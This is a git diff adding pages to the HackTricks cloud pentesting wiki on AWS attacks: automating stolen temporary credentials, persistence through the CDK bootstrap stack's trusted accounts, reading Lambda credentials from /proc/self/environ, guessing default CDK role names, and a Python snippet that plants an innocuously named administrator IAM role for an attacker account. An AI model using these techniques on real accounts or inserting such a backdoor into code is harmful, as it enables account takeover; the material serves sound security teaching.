Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

src/pentesting-cloud/aws-security/aws-basic-information/README.md

@@ -397,6 +397,26 @@ aws --profile acc2 ...
 
 If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
 
+#### Automating temporary credentials
+
+If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
+
+```toml
+[victim]
+credential_process = curl -d 'PAYLOAD' https://some-site.com
+```
+
+Note that credentials _must_ be returned to STDOUT in the following format:
+```json
+{
+  "Version": 1,
+  "AccessKeyId": "an AWS access key",
+  "SecretAccessKey": "your AWS secret access key",
+  "SessionToken": "the AWS session token for temporary credentials", 
+  "Expiration": "ISO8601 timestamp when the credentials expire"
+}  
+```
+
 ## References
 
 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -0,0 +1,25 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+For more information, access:
+
+{{#ref}}
+../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
+
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -10,6 +10,12 @@ For more information check:
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
+### Exfilrtate Lambda Credentials
+
+Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. 
+
+By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
+
 ### Steal Others Lambda URL Requests
 
 If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

@@ -111,9 +111,58 @@ An attacker could abuse this permission without the passRole permission to updat
 
 **Potential Impact:** Privesc to the attached cloudformation roles.
 
+## AWS CDK
+
+The AWS cdk is a toolkit for allowing users to define their infrastructure-as-code in languages they are already familiar with, as well as easily re-using sections. The CDK then converts the high-level code (ie python) into Cloudformation templates (yaml or json).
+
+In order to use the CDK, an administrative user must first bootstrap the account, which create several IAM roles, including the *exec role*, which has \*/\* permissions. These roles follow the naming structure `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping must be done once per region per account.
+
+By default, CDK users do not have access to list the roles needed to use the CDK, meaning that you will need to determine them manually. If you compromise a developers machine or some CI/CD node, these roles can can be assumed to grant yourself the ability to deploy CFN templates, using the `cfn-exec` role to allow CFN to deploy any resources, fully compromising the account.
+
+### Determining the role names
+
+If you have `cloudformation:DescribeStacks`, the roles are defined in a stack called `CDKToolkit`, and you can pull the names from there.
+
+If you're on a machine that has been used to build and deploy CDK projects, you can pull them from `cdk.out/manafest.json` in the projects root directory.
+
+You can also make a good guess on what they are. `qualifier` is a string added to the roles allowing for multiple instance of the CDK bootstrap to be deployed at once, however the default value is hard-coded to `hnb659fds`. 
+
+```
+# Defaults
+cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
+cdk-hnb659fds-deploy-role-<account-id>-<region>
+cdk-hnb659fds-file-publishing-role-<account-id>-<region>
+cdk-hnb659fds-image-publishing-role-<account-id>-<region>
+cdk-hnb659fds-lookup-role-<account-id>-<region>
+```
+
+### Adding malicious code to the project source
+
+If you can write to the project source, but cannot deploy it yourself (for example, the developer deploys the code via CI/CD, not the local machine), you can still compromise the environment by adding malicious resources to the stack. The following adds an IAM role that can be assumed by an attacker account to a python CDK project.
+
+```python
+class CdkTestStack(Stack):
+    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
+        super().__init__(scope, construct_id, **kwargs)
+
+        # ----------
+        # Some existing code.....
+        # ----------
+
+        role = iam.Role(
+            self,
+            "cdk-backup-role", # Role name, make it something subtle
+            assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
+            managed_policies=[
+                iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
+            ],
+        )
+```
+
 ## References
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
 
 {{#include ../../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md

@@ -39,6 +39,12 @@ In the following page you can check how to **abuse cloudformation permissions to
 ../aws-privilege-escalation/aws-cloudformation-privesc/
 {{#endref}}
 
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-cloudformation-persistence.md
+{{#endref}}
+
 ### Post-Exploitation
 
 Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation